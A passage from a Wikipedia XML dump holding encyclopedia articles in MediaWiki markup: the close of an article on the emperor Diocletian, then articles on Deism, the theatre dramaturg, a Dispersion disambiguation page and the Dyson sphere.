Many of the military reforms started by Diocletian were continued by his successors and largely completed under [[Constantine I (emperor)|Constantine]], who abolished the Praetorian Guard, replacing it with a smaller, more controllable personal bodyguard (the [[Scholae]] ) of about 4,000 men.

==Persecution of Christians==
In 303, the last and greatest [[persecution of Christians]] by the Roman Empire began. In the earlier part of Diocletian's reign, [[Galerius]] was more the instigator of such persecution than Diocletian himself.
However, in the later part of Diocletian's reign, Diocletian embraced the policy of persecution with unequivocal zeal in his first &quot;Edict against the Christians&quot; (February 24, 303).
First Christian soldiers had to leave the army, later the Church's property was confiscated and Christian books were destroyed. After two fires in Diocletian's palace he took harder measures against Christians: they had either to apostatize or they were sentenced to death.
This wave of persecution lasted intermitently until 313 with the issue of the [[Edict of Milan]] by Constantine.
The persecution made such an impression on Christians that the Alexandrian church used the start of Diocletian's reign (284) as the [[epoch]] for their [[Era of Martyrs]].
Among the recorded martyrs, there are [[Pope Marcellinus]], [[Philomena]], [[Saint Afra|Afra]], [[Saint Lucy|Lucy]], [[Erasmus of Formiae]], [[Saint Florian|Florian]], [[Saint George|George]], [[Saint Agnes|Agnes]], and others ending with [[Peter of Alexandria]] (311).
Another effect of the persecution was the escape of one Marinus the Dalmatian to [[Mount Titano]], forming what [[History of San Marino|eventually became the Republic of San Marino]].

== Retirement and death ==
[[Image:SPLIT-Hebrard_overall_color_restitution.jpg|thumb|right|Palace of the Roman Emperor Diocletian, around which the Croatian city of Split emerged]]
In [[305]], at the age of fifty-nine, after almost dying from a sickness, Diocletian retired to his palace near the administrative center of [[Salona]] on the [[Adriatic Sea]], taking up his beloved hobby of growing [[cabbage]]s. When solicited at a later date to resume the honours which he had voluntarily resigned, his reply was, &quot;Would but you could see the vegetables planted by my hands at Salona, you would then never think of urging such an attempt.&quot; He was the only Roman Emperor to voluntarily remove himself from office; all of the others either died of natural causes or were removed by force.

[[Diocletian's Palace]] later became the seed of modern [[Split]], [[Croatia]].

== Legacy ==
Overall Diocletian's reforms--in particular those of the military, civil administration, and Roman bureaucracy--were sound and would help extend the life of the empire for centuries longer. However, his Tetrarchy would prove a formula for civil war, as he would see before his death. The Tetrarchy only worked when he was directly involved with it. Once he gave up the Imperial Purple to grow vegetables on the Adriatic shores, the Tetrarch system soon collapsed upon itself, with a new, single strong ruler eventually emgering triumphant. The division of the empire into western and eastern halves, would eventually result in a permanent split, with the eastern half becoming the Byzantine Empire. While the western empire would last only another couple of centuries, the Byzantine Empire, partly through Diocletian's own reforms, would continue in various forms for another one-thousand years. The persecutions by him and his colleagues of Christians and others they considered dangerous sects, only ended up making them more visible and thus influential than they would otherwise have been. This, together with the new theocratic trappings Diocletian brought to the emperorship, would set the stage for the rise of Constantine and Christianity. Although his reign and achievements have been largely overshadowed by Constantine's, it marks an important turning point in Roman history. Diocletian, himself, remains one of the more enigmatic and contradictory personalities of history. He would strip away much of what remained of the Republic, yet would end up in later life acting much as [[Cincinnatus]] had, in giving up power for farming.

== Dioceses of Diocletian ==
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|-
! ''Diocesis''
! ''Territories''
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | EAST
|-
| Oriens || Libya, Egypt, Palestine, Syria, and Cilicia
|-
| [[Pontus]] || Cappadocia, Armenia Minor, Galatia, Bithynia
|-
| Asia (Asiana) || Asia, Phrygia, Pisidia, Lycia, Lydia, Caria   
|-
| Thrace Moesiae || Moesia Inferior, Thrace
|-
| [[Moesia]] || Moesia Superior, Dacia, Epirus, Macedonia, Thessaly,
Achaea, Dardania
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | WEST
|-  
| [[Africa]] || [[Africa Proconsularis]], [[Byzacena]], [[Tripolitana]], [[Numidia]], part of
Mauretania
|-
| [[Spain|Hispania]] || [[Mauretania Tingitana]], Baetica, Lusitania,
Tarraconensis
|-
| Prov. Viennensis || Narbonensis, Aquitania, Viennensis, Alpes
Maritimae
|-
| [[France|Gallia]] || Lugdunensis, Germania Superior, Germania
Inferior, Belgica
|-  
| [[Britannia]] || Britannia, Caesariensis
|-
| [[Italia (Roman province)|Italia annonaria]]&lt;br&gt;capital [[Milan|Mediolanum]] || Venetia et Histria, Aemilia et Liguria, Flaminia et Picenum, Raetia, Alpes Cottiae
|-
| [[Italia (Roman province)|Italia suburbicaria]]&lt;br&gt;capital [[Rome]] || Tuscia et Umbria, Valeria, Campania et Samnium, Apulia et Calabria, Sicilia, Sardinia et Corsica
|-
| [[Pannonia]] || Pannonia Inferior, Pannonia Superior, Noricum,
[[Dalmatia]]
|}

== Diocletian in fiction ==
*Diocletian is the main character of the novel ''[[Numerius]]'', written by V. Martucci (2005)	
*The novel ''[[Fabiola, or The Church of the Catacombs]]'', written in 1852 by [[Cardinal Wiseman]], takes place during the reign of Diocletian.

== Footnotes ==
#{{note|Adams1}} Adams, ''For Good and Evil,'' p. 115.  (See [[Diocletian#Further_reading|below]] for full citation.)

== See also ==
=== Further reading ===
* Roger Rees, ''Diocletian and the Tetrarchy'', Edinburgh University Press, 2004. ISBN 0748616616
* Pat Southern, ''The Roman Empire from Severus to Constantine'', Routledge, 2001. ISBN 0415239443
* Adams, Charles, &quot;Diocletian’s New Order&quot; being Chapter 11 (pp. 111-118) of ''For Good and Evil:  The Impact of &lt;u&gt;Taxes&lt;/u&gt; on the Course of Civilization,'' Second Edition, Madison Books, 1999,  ISBN 1568331231

=== External links ===
{{Commons|Diocletian}}
*[http://www.roman-emperors.org/dioclet.htm Diocletian] by Ralph W. Mathisen, University of South Carolina.
*[http://www.newadvent.org/cathen/05007b.htm Diocletian] from the Catholic Encyclopedia.
*[http://www.anders.com/lectures/lars_brownworth/12_byzantine_rulers/ 12 Byzantine Rulers], by Lars Brownworth. 15 minute audio lecture on Diocletian.
*[http://www.st.carnet.hr/split/diokl.html Diocletian Palace in Split]
*[http://digital.library.wisc.edu/1711.dl/DLDecArts.AdamRuins Ruins of the Palace of the Emperor Diocletian at Spalatro in Dalmatia, by Adam, Robert] from the University of Wisconsin Digital Collections Center.

{{Roman Emperor | Prev=[[Carinus]] | CoEmperor=with [[Maximian]] &lt;small&gt;(286-305)&lt;/small&gt;| Next=[[Constantius Chlorus]]'''&lt;br /&gt;and '''[[Galerius]]|years=284&amp;ndash;305}}


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    <title>Deutsche Reich</title>
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  <page>
    <title>Deism</title>
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      <comment>many consider gw episcopal</comment>
      <text xml:space="preserve">Historical and modern '''deism''' is defined by the view that [[reason]], rather than [[revelation]] or [[tradition]], should be the basis of belief in God. Deists reject both organized and revealed religion and maintain that reason is the essential element in all knowledge. For a &quot;rational basis for religion&quot; they refer to the [[cosmological argument]] (first cause argument), the [[teleological argument]] (argument from design), and other aspects of what was called ''[[natural theology|natural religion]]''. Deism has become identified with the classical belief that God created but does not intervene in the world, though this is not a necessary component of deism.

==Overview==
Deism encompasses a range of views on the nature of God, particularly on whether God intervenes in the world. The classical view is that the universe was created by a God who then makes no further intervention in its affairs (the [[clockmaker hypothesis]]). In this view, the reason God does not intervene in the world (via [[miracle]]s) is ''not'' that God does not care, but rather that the best of all possible worlds has already been created and any intervention could not improve it. Historically, many deists adhered to this view; others hold a more [[Pantheism|pantheist]] or [[pandeism|pandeist]] view that in creating the world, God became the world and does not exist as a separate entity from it; while some hold that God intervenes only as a subtle and pervasive force in the universe.
&lt;!--
* '''usually synonymous with [[Natural theology|''natural religion'']] in [[18th century]] [[The Age of Enlightenment|Enlightenment]] writings
* originated in [[17th century]] [[Europe]], gaining popularity in the 18th century Enlightenment especially in [[France]],''' [[England]], and [[United States|America]] as a modernist movement inspired by the success of the [[scientific method]] --&gt;

The classical view of an impersonal and abstract God has caused many to claim that deism is &quot;cold&quot; and amounts to [[atheism]]. Deists maintain that the opposite is true and that this view leads to a feeling of awe and reverence based on the fact that personal growth and a constant search for knowledge is required. This knowledge can be acquired from many sources including historical and modern interpretations found in the many varied fields of science (biology, physics, etc.) and philosophy.  Deism, like many religions, seeks to reconcile and unify with science and &quot;modern views.&quot;  However, both deism and other religions have differing views with science on evolution, see [[Evolutionary Creationism]].

The term ''deism'' was created by eighteenth century deists to draw attention to their affirmative belief in a God.[http://www.voxapologia.org/blog/deism] The words ''deism'' and ''[[theism]]'' are closely related and this sometimes leads to controversy. The root of the word ''deism'' is from the [[Latin]] ''deus'', while the root of the word ''theism'' comes from the [[Greek language|Greek]] ''theos'', both meaning ''god'' in [[English language|English]]. However, theism can include faith or [[revelation]] as a basis for belief, while deism includes only belief which can be substantiated through reason.

Deism can be considered as the form of theism in opposition to [[fideism]], while other schemes separate deism and theism.  A helpful comparison of the common positions regarding belief in divine beings can be found in the [[theism]] article.

===Deism and prayer===
Many deists who do not believe in divine intervention still find value in prayer. They think of it as a form of meditation and self-cleansing, which can improve one's life and lead to one's efforts being more effective. However, many deists consider all prayer an attempt to establish a personal relationship with God, something deists do not believe is possible.

==18th century popularity==
Deist thinking has existed since ancient times and can be inferred from [[Pre-Socratic philosophy|pre-Socratic]] philosophers such as [[Heraclitus]].  However, it was not until the [[Modern world|modern era]], during the European [[The Age of Enlightenment|Enlightenment]] and [[Scientific Revolution]], with their respective emphases on rigorous [[skepticism]], [[deductive logic]], and [[empiricism]] (experience/[[induction]]), that ''deism'' came into its own as a subject of philosophical discourse, particularly in [[France]] ([[René Descartes|Descartes]], the ''[[Philosophes]]''), [[Germany]] ([[Immanuel Kant|Kant]]&lt;sup&gt;&amp;dagger;&lt;/sup&gt;, [[Gottfried Leibniz|Leibniz]]), [[Kingdom of Great Britain|Great Britain]] ([[Thomas Hobbes|Hobbes]], [[David Hume|Hume]]&lt;sup&gt;&amp;Dagger;&lt;/sup&gt;), and the [[United States]] ([[Thomas Paine|Paine]], [[Benjamin Franklin|Franklin]]).

[[Image:Thomas Jefferson.jpg|thumb|Thomas Jefferson, Edgehill Portrait of 1805 by [[Gilbert Stuart]].  [[National Portrait Gallery (United States)|National Portrait Gallery]], [[Washington, DC]].]]
Deism developed from the expanding influence of [[scientism]] in Europe and European colonial intellectual life. [[Newtonian physics]], the intellectual basis and the aesthetic model for [[Enlightenment (concept)|Enlightenment]] [[scientism]], spread the idea that matter behaves in a mathematically predictable manner that can be understood by postulating laws of nature. Objectivity, natural equality, the prescription to treat like cases similarly are central principles of the Enlightenment mentality, ideas borrowed from Newton's observational/experimental method and put to use in all domains the Enlightenment mind scrutinized; these principles informed the development of the philosophy of deism. Exasperation with the costs of centuries of European religious warfare was a powerful recommendation for the new, objective frame for spiritual matters, a perspective the most notable minds of the time found appealing.

Deism was championed by Enlightenment thinkers such as [[Voltaire]] and some of the [[Founding Fathers of the United States|Founding Fathers]] of the [[United States]]. [[Thomas Jefferson]] and [[Benjamin Franklin]] are among the most well-known of the American founding deists. There is debate as to whether [[George Washington]] was a deist or not.[[Thomas Paine]] published ''[[The Age of Reason]]'', a treatise that popularized deism throughout America and Europe. Paine wrote that deism represented the application of reason to religion, finally settling problems that formerly were thought to be permanently controversial. Deists hoped to also settle religious questions permanently and scientifically by reason alone, without revelation. 

The [[List of U.S. Presidential religious affiliations|first six and four later]] [[President of the United States|presidents of the United States]] had strong deistic or [[Unitarianism|allied]] beliefs.
----
:&lt;sup&gt;&amp;dagger;&lt;/sup&gt; Kant's identification with deism is controversial. An argument in favor of Kant as deist is Alan Wood's &quot;Kant's Deism,&quot; in P. Rossi and M. Wreen (eds.) ''Kant's Philosophy of Religion Re-examined'' (Bloomington: Indiana University Press, 1991);  an argument against Kant as deist is Stephen Palmquist's [http://www.hkbu.edu.hk/~ppp/srp/arts/KTS.html &quot;Kant's Theistic Solution&quot;]

:&lt;sup&gt;&amp;Dagger;&lt;/sup&gt; Experts dispute whether Hume was a deist, an [[atheist]], or something else. Hume himself was uncomfortable with the terms 'deist' and 'atheist', and Hume scholar [[Paul Russell]] has [http://plato.stanford.edu/entries/hume-religion/ argued] that the best and safest term for Hume's views is 'irreligion'.
----

==Appellations for divinity==
The names used for the divinity by deists include the following:
* Creator ''(used in the [[United States Declaration of Independence]])''
* Divine Author
* Divine Providence ''(used in the [[United States Declaration of Independence]])''
* Divine Watchmaker
* Divine Essence
* First Cause
* Grand Architect of the Universe (often used by members of the [[Freemasonry|Freemasonic lodges]] or societies which involve Masonic rituals)
* Nature's God  ''(used in the [[United States Declaration of Independence]])''
* Providence
* The One that is All
* The Eternal One
* The Living Law (Essene)
* The Living Director Principle in All Being
* The Governing Being of the Universe
* Supreme Being
* Supreme Intelligence

==Decline in popularity==
Several factors contributed to a general decline in the popularity of deism, including:
* the writings of [[David Hume]] (and later, [[Charles Darwin]]) increased doubt about the [[first cause]] argument and the [[argument from design]]
* several [[Christianity|Christian]] [[Great Awakening]]s in the USA, especially those that taught a more personal relationship with a deity, and that [[prayer]] could alter events
* loss of confidence that [[reason]] and [[rationalism]] could solve all problems
* criticisms of excesses of the [[French Revolution]]
* criticisms that deism was not significantly distinct from [[pantheism]], and then that pantheism was not significantly different from [[atheism]]
* criticisms that [[freethought]] would lead inevitably to [[atheism]]
* frustration with the [[determinism]] implicit in &quot;This is the best of all possible worlds.&quot;
* rise of [[Unitarianism]], which adopted many of its ideas
* it remained a personal philosophy and never became an organized movement
* an anti-deist and anti-reason campaign by some Christian clergymen to vilify and equate deism with atheism in public opinion

==Current status==
Newtonian physics, when linearized and simplified, is considered [[determinism|deterministic]], and so deism based on that, for many, left little room for [[hope]]. Of some relevance in response to this are newer theories in [[physics]], most notably [[quantum mechanics]], which has both a non-[[determinism|deterministic]] interpretation (the [[Copenhagen interpretation]]), and deterministic interpretations (the [[transactional interpretation]] and [[many-worlds interpretation]]). Some modern revivals of deism resemble [[pantheism]] and [[panentheism]]. However, some Unitarian Universalists are bringing deism back in order to counter Fundamentalism.

==See also==
* [[Agnosticism]]
* [[Atheism]]
* [[Cosmological argument]]
* [[Cosmotheism]]
* [[Evolutionary Creationism]]
* [[Freethought]]
* [[Ignosticism]]
* [[List of deists]]
* [[List of U.S. Presidential religious affiliations]]
* [[Panendeism]]
* [[Panentheism]]
* [[Pantheism]]
* [[Philosophical theism]]
* [[Polydeism]]
* [[Transcendentalism]]
* [[Transtheism]]

==External links==
===External informational links===
*[http://www.templeofreason.org/cyclopedia/deistpedia.htm DEISTPEDIA: The Deist Encyclopedia]
*[http://www.deism.org/ DEISM: The Union of Reason and Spirituality]
*[http://www.sullivan-county.com/deism.htm Deism and Reason] 
*[http://www.fordham.edu/halsall/mod/paine-deism.html Of the Religion of Deism Compared with the Christian Religion] by Thomas Paine
*[http://www.deism.org/aor1.htm The Age of Reason] by Thomas Paine
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-77 Definition of deism] from  ''The Dictionary of the History of Ideas'' at the [[University of Virginia]]
*[http://www.iep.utm.edu/d/deismeng.htm English Deism - Internet Encyclopedia of Philosophy]
*[http://www.iep.utm.edu/d/deismfre.htm French Deism - Internet Encyclopedia of Philosophy]
*[http://www.renewamerica.us/columns/hutchison/041230 On some links between Deism and Freemasonry] - Warning: agenda driven article, but it does make some connections
*[http://www.religioustolerance.org/deism.htm religious tolerance.org article on Deism]

=== External organization links===
*[http://www.sullivan-county.com/deism.htm Deism and Reason]
*[http://www.positivedeism.com Positive Deism]
*[http://www.dynamicdeism.com Dynamic Deism]
*[http://www.deistnet.com PONDER]
*[http://www.deist.info Deist.info]
*[http://www.deism.com/ World Union of Deists]
*[http://www.aldeism.org/ Aldeism]
*[http://www.americanunitarian.org/ American/ Unitarian Conference]
*[http://www.templeofreason.org Temple of Reason]

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  <page>
    <title>Dramaturg</title>
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      <text xml:space="preserve">:''See also [[dramaturgy]].''

In the [[theater]], a '''dramaturg''' holds a position that gained its modern-day function through the innovations of [[Gotthold Lessing|Gotthold Ephraim Lessing]], a [[playwright]] and theater practitioner who worked in [[Germany]] in the [[18th century]].

The dramaturg's contribution was to categorize and discuss the various types and kinds of plays, their interconnectedness and their styles. Enhanced by a tradition of generous support for theater as part of German cultural identity, which gave nearly every city a fully staffed theater supported by public funds, the position of dramaturg includes the hiring of actors and the development of a season of plays with a sense of the connectedness between them, the assistance and editing of new plays by resident or guest playwrights, the creation of programs or accompanying educational services and even helping the director with rehearsals, serving as elucidator of history or spokesperson for absent (deceased) playwrights.

In the [[United Kingdom]], dramaturgs function similarly although they are more often, themselves, also playwrights. In the [[United States|USA]], where this position was until recently relatively unknown, it has enjoyed a recent growth particularly in cutting edge theaters with an emphasis on developing new plays within the theater.

[[Category:Theatre]]

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  <page>
    <title>Dispersion</title>
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      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''''Dispersion''''' can mean any of several things:

* A phenomenon that causes the separation of a [[wave]] into components of varying [[frequency]].   See [[dispersion (optics)]] and [[dispersion (water waves)]]. When dealing with optical fibres there can also be dispersion of different modes in the fibre and of different polarizations.
* Distribution of [[fruit]] and its [[seed]]s through [[biological dispersal]]. 
*In [[chemistry]]:
**A stable or unstable system of fine particles, larger than [[colloid|colloidal]] size, evenly distributed in a medium.
**The fraction of atoms of a material exposed to the surface.  See [[dispersion (materials science)]].
* In the [[technical terminology]] of [[gemology]], the difference in the refractive index of a material at the B and G [[fraunhofer line|Fraunhofer]] wavelengths of 686.7 [[Nanometre|nm]] and 430.8 nm. Simply, the degree to which the [[gemstone]] shows fire or color.  See [[Abbe number]] and [[dispersion (optics)]].
* [[Statistical dispersion]].
* In mass transfer, [[Dispersive mass transfer]] is spreading of mass from highly concentrated areas to lower concentrated areas. 


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  <page>
    <title>Dyson sphere</title>
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      <comment>/* See also */ remove external link to put in [[Kemperer rosette]]</comment>
      <text xml:space="preserve">[[Image:Dysonspherediagram.gif|right|frame|A cut-away diagram of an idealized [[#Dyson shell|Dyson shell]] &amp;mdash; a variant on Dyson's original concept &amp;mdash; 1 AU in radius]]
A '''Dyson sphere''' (or &quot;shell&quot; as it appeared in the original paper) is a hypothetical [[megastructure]]. It was originally described as a system of orbiting [[solar power satellite]]s meant to completely englobe a [[star]] and capture its ''entire'' energy output, although other variants on this idea have been proposed &amp;mdash; most notedly the [[#Dyson shell|solid shell]] concept pictured at right. The Dyson sphere concept was first mentioned in the [[novel]] ''[[Star Maker]]'', by [[Olaf Stapledon]], and ''formally'' described by [[physicist]] [[Freeman Dyson]] in his [[1959]] paper &quot;Search for Artificial Stellar Sources of Infra-Red Radiation&quot;, published in the journal ''[[Science (journal)|Science]]''. While building a Dyson sphere is far beyond present-day industrial capabilities, some proposed design variants of the sphere do not require technology much in advance of our own.
== History ==
The concept of the Dyson sphere was the result of a [[thought experiment]] by [[Freeman Dyson]] where he noted that every human technological civilization has constantly increased its demand for energy. He reasoned that if human civilization were to survive long enough, there would come a time when it required the ''total'' energy output of the sun. Thus, he proposed a system of orbiting structures designed to intercept and collect all energy produced by the sun. Dyson's proposal did not detail how such a system would be constructed, but focused only on issues of energy collection.

Although Dyson is credited with being the first to formalize the concept of the Dyson sphere, Dyson himself was inspired by the 1937 science fiction novel ''[[Star Maker]]'', by [[Olaf Stapledon]].

== Dyson spheres and SETI ==

In Dyson's original paper, he speculated that sufficiently advanced extraterrestrial civilizations would likely follow a similar power consumption pattern as humans, and would eventually build their own &quot;sphere of collectors&quot;. Constructing such a system would make such a civilization a Type II [[Kardashev scale|Kardashev civilization]]. Since such a system would (at least partly) block the normal emissions of a star, and radiate [[blackbody radiation]] (most probably with a strong [[infrared]] component) rather than the [[emission spectrum]] of a [[stellar atmosphere]], he reasoned that it may be possible to detect advanced civilizations by examining the light from stars, looking for such atypical spectra. There have been attempts by [[SETI]] to search for Dyson spheres, and [[2005|as of 2005]] [[Fermilab]] has an ongoing survey for such spectra&lt;ref&gt;{{cite web| url=http://home.fnal.gov/~carrigan/Infrared_Astronomy/Fermilab_search.htm| title=Fermilab Dyson Sphere search program| year=2006| accessdate=2006-03-02| format=HTML| first=D.| last=Carrigan}}&lt;/ref&gt; by analyzing data from the [[IRAS|Infrared Astronomical Satellite (IRAS)]].

==Dyson spheres in fiction ==

''Main article: [[Dyson spheres in fiction]]''
&lt;!-- PLEASE DO NOT ADD SPECIFIC EXAMPLES OF THE DYSON SPHERE IN FICTION TO THIS SECTION. YOU ARE MORE THAN WELCOME TO ADD SUCH EXAMPLES TO THE ARTICLE 'DYSON SPHERES IN FICTION', WHICH WAS CREATED FOR THAT PURPOSE. THANK YOU. --&gt;

As noted above, the Dyson sphere ''originated'' in fiction (see ''[[Star Maker]]'', by [[Olaf Stapledon]]), and it is a concept that has appeared often in [[science fiction]] since then (see [[Dyson spheres in fiction]] for listed examples). In fictional accounts, the Dyson sphere concept is most often interpreted as an artificial hollow [[sphere]] of [[matter]] around a [[star]] (see diagram). This perception is a ''misinterpretation'' of Dyson's original concept. In response to letters prompted by his original paper, Dyson said, &quot;A solid shell or ring surrounding a star is mechanically impossible.  The form of '[[biosphere]]' which I envisaged consists of a loose collection or swarm of objects traveling on independent orbits around the star.&quot; 

More recently, the terms [[#Dyson swarm|'''Dyson swarm''']] and [[#Dyson shell|'''Dyson shell''']] have come into use to make the distinction between Dyson's original concept and the popularized depiction of a solid shell.
&lt;!-- PLEASE DO NOT ADD SPECIFIC EXAMPLES OF THE DYSON SPHERE IN FICTION TO THIS SECTION. YOU ARE MORE THAN WELCOME TO ADD SUCH EXAMPLES TO THE ARTICLE 'DYSON SPHERES IN FICTION', WHICH WAS CREATED FOR THAT PURPOSE. THANK YOU. --&gt;

==Variants==

There are several variants on Dyson's original concept that have been proposed over the years, which differ based on their composition and method of construction.

=== Dyson swarm ===

The variant closest to Dyson's original conception, is the &quot;Dyson swarm&quot;. It consists of a large number of independent constructs (usually [[solar power satellite]]s and [[Space colonization|space habitat]]s) orbiting in a dense formation around the star. These constructs could range widely in individual size and design, and could be constructed over a long period of time, making the construction of such a swarm an incremental process.

Such a swarm is not without drawbacks. The nature of orbital mechanics would make the &quot;orbital formation&quot; of such a swarm extremely complex. The simplest such pattern is the ''Dyson ring'' in which all such structures share the same orbit, although this pattern would intercept very little of the star's output. More complex orbital patterns add more rings, offset the &quot;axis of rotation&quot; of the rings' orbits with regards to one another, change the eccentricity of the orbits, and add rings at varying distances from the central star. More complex patterns with more rings would intercept more of the star's output, but would result in some constructs eclipsing others periodically when their orbits overlap. There is a definite trade-off between the complexity of the orbital formation &amp;mdash; and thus its susceptibility to gravitational perturbations &amp;mdash; and the percentage of the star's output that the swarm intercepts.

=== Dyson shell===

The variant of the Dyson sphere [[Dyson spheres in fiction|most often depicted in fiction]] is the &quot;Dyson shell&quot;: a uniform solid shell of matter around the star. Such a structure would completely conceal the emissions of the central star, and would intercept 100% of the star's energy output. Such a structure would also provide an immense surface which many envision being used for habitation, if the surface could be made habitable.

There are several serious theoretical difficulties with the solid shell variant of the Dyson sphere.
* Such a shell would have no net gravitational interaction with its englobed sun (see [[Divergence theorem#Gravity|the divergence theorem applied to gravity]]). Such structures would need either some form of propulsion to counteract any &quot;drift&quot; moving it out of place relative to its star, or some way to repel the surface of the sphere away from the star.
* For the same reason, such a shell would have no net gravitational interaction with anything else inside it. Atmosphere placed on the inner surface to make it habitable, and any inhabitants, would not be attracted to the sphere's surface and would simply fall into the star. It has been proposed that atmosphere could be contained between a &quot;main&quot; sphere and an internal transparent sphere, though this could lead to difficulties in keeping the environment's contents from falling to the transparent sphere's surface. It has also been suggested that the atmosphere could be placed on the ''outside'' of the sphere, where it would be held in place by the star's gravity. Some form of illumination would have to be devised in this case as the star's light is otherwise completely hidden from the habitable surface.
* The tensile strength of the material forming the sphere would have to be immense. No known or theorized material is strong enough to form a rigid, static sphere around a star&lt;ref&gt;[http://www.nada.kth.se/~asa/dysonFAQ.html#STRENGTH Dyson FAQ &quot;Strength&quot; section], link is broken as of 2006-03-02&lt;/ref&gt;. It has been proposed by [[Paul Birch]]&lt;ref&gt;{{cite web|url=http://www.paulbirch.net/SupramundanePlanets.zip| format=ZIP | accessdate=2006-03-02| title=Supramundane Planets}}&lt;/ref&gt; (in relation to  smaller &quot;[[Supra-Jupiter]]&quot; constructions around a large planet rather than a star) that it may be possible to support a Dyson shell by dynamic means similar to those used in a [[space fountain]]. Masses travelling in circular tracks on the inside of the sphere, at velocities significantly greater than orbital velocity would press outwards due to centrifugal force. For a Dyson shell of 1AU radius around a star with the same mass as the Sun, mass travelling ten times orbital velocity (300 km/s) would support nine times its own mass in additional shell structure. The arrangement of such tracks suffers from the same difficulties as arranging the orbits of a Dyson swarm, and it is unclear how much energy would be consumed ensuring the velocity of the masses was maintained.
&lt;!--
* If a Dyson Sphere had a penetrable shell simply by digging though the interior sufarce, then the atmosphere would be compromised and collapse within a matter of minutes. [[Image:Dysonsphere2.png]]
--&gt;

===Dyson bubble===

A third type of Dyson sphere is the &quot;Dyson bubble&quot;. It would be similar to a Dyson swarm, composed of many independent constructs (usually [[solar power satellite]]s and [[Space colonization|space habitat]]s) and likewise could be constructed incrementally.

Unlike the Dyson swarm, the constructs making it up are not in orbit around the star, but would be [[statite]]s &amp;mdash; satellites suspended by use of enormous [[light sail]]s using [[radiation pressure]] to counteract the star's pull of gravity. Such constructs would not be in danger of collision or of eclipsing one another; they would be totally stationary with regards to the star, and independent of one another. As the ratio of [[radiation pressure]] and the force of gravity from a star are constant regardless of the distance (provided the statite has an unobstructed line-of-sight to the surface of its star)&lt;ref&gt;{{cite web|url=http://www.grc.nasa.gov/WWW/K-12/Numbers/Math/Mathematical_Thinking/sunlight_exerts_pressure.htm| title= Sunlight Exerts Pressure| format=HTML| accessdate=2006-03-02}}&lt;/ref&gt;, such statites could also vary their distance from their central star.

The practicality of this approach is questionable with modern [[material science]], but cannot yet be ruled out. A statite deployed around our own sun would have to have an overall [[density]] of 0.78 grams per square meter of sail&lt;ref&gt;[http://www.nada.kth.se/~asa/Hx/dyson.html 404 error] as of 2006-03-02&lt;/ref&gt;. In comparison, new carbon-fiber sail material has a density &amp;mdash; without payload &amp;mdash; of 3g/m&lt;sup&gt;2&lt;/sup&gt;.&lt;ref&gt;{{cite web| url=http://www.space.com/businesstechnology/technology/carbonsail_000302.html| title=SPACE.com Exclusive: Breakthrough In Solar Sail Technology | first=Greg| last=Clark| publisher=Space.com| year=2000| accessdate=2006-03-02| format=HTML}}&lt;/ref&gt; There has been some speculation about the creation of ultra light [[nanomesh]] sail materials created through [[molecular manufacturing]] techniques whose density would be below 0.1g/m&lt;sup&gt;2&lt;/sup&gt;.&lt;ref&gt;{{cite web| url=http://www.physorg.com/news5890.html| title=Researchers produce strong, transparent carbon nanotube sheets| publisher=Physorg.com| accessdate=2006-03-02| format=HTML| year=2005}}&lt;/ref&gt;. If such materials are feasible, and the average sail density with [[rigging]] might be kept to 0.3g/m&lt;sup&gt;2&lt;/sup&gt; (a &quot;[[Solar sail#Investigated sail designs|spin stabilized]]&quot; light sail requires minimal additional mass in [[rigging]]), a Dyson bubble could be possible. If such a sail could be constructed at this [[areal density]], a [[space habitat]] the size of the [[L5 Society]]'s proposed [[O'Neill cylinder]] (500 km&lt;sup&gt;2&lt;/sup&gt;, with room for over 1 million inhabitants) could be supported by a circular light sail 3,000 km in diameter[http://en.wikipedia.org/wiki/Talk:Dyson_sphere#A_defense_of_Staties.], with a combined sail/habitat mass of 5.4 x 10&lt;sup&gt;9&lt;/sup&gt;kg. For comparison, this is just slightly smaller that the diameter of [[Jupiter]]'s moon [[Europa (moon)|Europa]] (although the sail is a flat disc not a sphere), or the distance between [[San Francisco]] and [[Kansas City, Missouri|Kansas City]]. Such a structure would, however, have a mass quite a lot less than many asteroids. While the construction of such a massive inhabitable statite would be a ''gigantic'' undertaking, and the required material science behind it as-of-yet uncertain, its technical challenges are slight compared to other engineering feats and required materials proposed in other Dyson sphere variants.

===Other types===

* Another possibility is the &quot;Dyson net&quot;, a web of cables strung about the star which could have power or heat collection units strung between the cables, like the one used in the book ''Star Trek: Voyager - The Final Fury''. The Dyson net reduces to a special case of Dyson shell or bubble, however, depending on how the cables are supported against the sun's gravity.
* The [[Ringworld]], or [[Niven ring]], could be considered a particular kind of Dyson sphere. [[Larry Niven]], who first developed the concept, described it as &quot;an intermediate step between Dyson Spheres and planets&quot;. The ringworld, or &quot;Niven ring&quot;, could perhaps be described as a slice of a Dyson Sphere (taken through its equator), spun for artificial gravity, and used mainly for habitation as opposed to energy collection.
* [[Stellar engine]]s are a class of hypothetical [[megastructure]]s, whose purpose is to extract useful energy from a star, sometimes for specific purposes. For example, [[Matrioshka brain]]s extract energy for purposes of computation; [[Stellar engine#Class A .28Shkadov thruster.29|Shkadov thrusters]] extract energy for purposes of propulsion. Some of the proposed stellar engine designs are based on the Dyson sphere.

==References==
&lt;references/&gt;
* [[Astounding Magazine|Analog]], March 1974- ''Bigger than Worlds'', [[Larry Niven]].
* ''[[Science (journal)|Science]]'', 1959, &quot;Search for Artificial Stellar Sources of Infra-Red Radiation&quot;, [[Freeman Dyson]].

==See also==
*[[Dyson spheres in fiction]]
*[[Alderson Disc]]
*[[Future energy development]]
*[[Globus Cassus]]
*[[Hollow Earth]]
*[[Klemperer rosette]]
*[[Matrioshka Brain]]
*[[Megascale engineering]]
*[[Megastructure]]
*[[Ringworld]]
*[[Star lifting]]
*[[Stellar engineering]]
*[[Stellar engine]]
*[[Technological singularity]]

==External links==
* [http://www.nada.kth.se/~asa/dysonFAQ.html Dyson Sphere FAQ]
* [[Quadrant Delta]]'s [http://www.quadrantdelta.com/gorvosh/index.html GorVosh Station]
* [http://c2.com/cgi/wiki?DysonSphere Dyson Sphere]
* [http://www.aeiveos.com/~bradbury/ETI/Authors/Dyson-FJ/SfASSoIR.html Search for Artificial Stellar Sources of Infra-Red Radiation]
